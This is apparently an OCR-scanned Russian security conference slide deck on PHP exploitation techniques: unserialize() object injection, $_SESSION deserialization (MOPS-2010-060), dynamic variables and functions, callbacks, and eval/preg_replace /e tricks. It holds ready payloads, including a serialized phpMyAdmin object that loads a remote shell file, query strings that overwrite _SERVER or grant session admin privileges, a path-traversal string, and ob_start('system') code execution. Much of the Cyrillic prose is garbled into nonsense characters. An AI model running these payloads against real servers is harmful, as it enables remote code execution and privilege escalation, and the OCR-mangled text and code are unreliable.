PHP unserialize(), $_SESSION

and dynamics.
Hints and Tricks
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OTKYOA HOT'U PACTYT

* SHoA0pA 2009, Ceyn, koHd. PoC2009
«Shocking News in PHP Exploitation» - Stefan
Esser

* http://www.suspekt.org/downloads/POC200
9-ShockingNewsInPHPExploitation.pdf



http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf

CYTb YASBMOCTHW

 [lonb3oBaTerbckne JaHHble NonaaatoT B
unserialize()

 EcTb Knacckl ¢ magic-metogamu: __destruct,
_ toString, __wakeup

 OTW Knacchl 4OCTYMNHbIE U3 KoAda ¢ unserialize()

* JTW METOAbI COAEePXaT Kakne-nnbo ya3BMMOCTH
(PHP inj, SQL inj, etc...)
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[TPUMEP phpMyAdmin <= 2.11.9

» $configuration=unserialize($_POST['configuration']);

* function __wakeup(){ ...

$this->load();

eval('?>" . trim(file_get_contents($this->getSource())));

* 0:10:"PMA_Config":1:{s:6:"source";s:70:"ftp://login:passw

ord@tvoy_host.com/wwwi/shell.txt";}

http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/
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UTO-TO ELLE?

o al{a:1{a:1{a:1{a:1:{a:1{a:1{a:1:{a:1{a:1:{a:1:{a:1:{a:1
{a:1{a:1{...

* DoS no 3ccepy.

* Information Leak no-pyccku ;)

* [lagaem:

Fatal error: Maximum execution time of 30 seconds
exceeded in z;\home\www\a.php on line 493

N-pa3, punbTpyeM yHUKanbHbIe MyTu, COPTUPYET MO
BPEMEHMW, NMOMy4YaeM CTIK BbI30BOB MPUIOKEHUS.

hitp://www.xakep.ru/post/52630/default.asp
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_SESSION (MOPS-2010-060)

 PHP5.2<=5.2.13
PHP 5.3 <=5.3.2

« $_SESSION[$_POST[prefix] . 'bla'l = $_POST['data"];
Mnm
 $_SESSION = array_merge($_SESSION, $ POST);

o prefix=!
* data=|xxx|0:10:"evilObject"0:{}
 lonyuvaetca - aHanor unserialize()... He Tonbko!
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O YEM YMONYAN 5CCEP?

* [lpn REGISTER_GLOBALS=On:

 !'Yrenune (nonapaHune B _SESSION) _SERVER,
NPVMBATHBIX NEPEMEHHBIX KIaccoB, etc

* test.php?prefix=1&data=|_SERVER|

 ITlepesanncb _SERVER, npuBaTtHbIX NnepemeHHbIX
Krnaccos, etc

» test.php?prefix=1&data=|_SERVER|a:1:{s:11:"REMOTE_
ADDR";s:3:"III";}
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Dynamic Variables

foreach (3_GET as $key => $value) {
$Skey = $value;

o
~—
(4>,
wn
:—I-

)

np?_SERVER[HTTP_HOST]=!!!
o test.php?_SESSION|privileges]=admin

o test.php?config[log_file]=../..[..I.I..[..[..I..]..[.ntaccess



Dynamic Variables

« parse_str($_SERVER[QUERY_STRING']); //nepenuLuet
anemeHT _SERVER npn ?SERVER[HTTP_HOST]=!!!

« extract($_SERVER['QUERY_STRING'); //nepenuLuet
Becb _SERVER npu ?_SERVER[HTTP_HOST]=!!

* import_request_variables(*GPC");

o test.php? _SERVER[HTTP_HOST]=!!
o test.php?_SESSION|privileges]=admin

* test.php?config[log_file]=../..[..[..1..I..]..[..]..].htaccess
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Dynamic Functions

$action = $_GET[‘action’];
$param = $_GET['param’];

$action($param);

test.php?_SERVER[HTTP_HOST]=!I!
test.php?_SESSION|privileges]=admin

test.php?config[log_file]=../../..[..1..[..[..I..]..].htaccess
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Callbacks
* B PHP5 okono 40 dyHkummn ncnonbsytot Callback

$ucback = $_GET[ callback’];
$ar = array(1,3,3,7);
$na = array_map($ucback, $ar)

test.php?callback=phpinfo

* ob_start, usort, uasort, uksort, array_filter, array_walk ...
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OToenbHo 06 ob_ ;)

« $bufout = 'system’;
ob_start($bufout);
echo 'whoam';
ob_end_flush();

* ECnu MOXHO BNUATL Ha aprymeHT ob_start MOXHO
OTKPbITb CKUHYTb Oydhdhep B HyXHOE MECTO, Hanpumep -
system
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Ctapble NecHN O rnaBHOM

« $assn = “valid prefix “ . $_GET[toas"] . " any postfix";

assert($assn);

eval($assn);

$regexp = $_GET['rx1;
$var = '<tag>".$_GET['vr'</tag>";

preg_replace("/<tag>(.*?)$regexp<Vtag>/", "\1', $var);
test.php?rx=<\itag>/e% 00
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BOMNPOCbI 777

KOHTAKTDI:
DO0znpp@ONSEC.RU




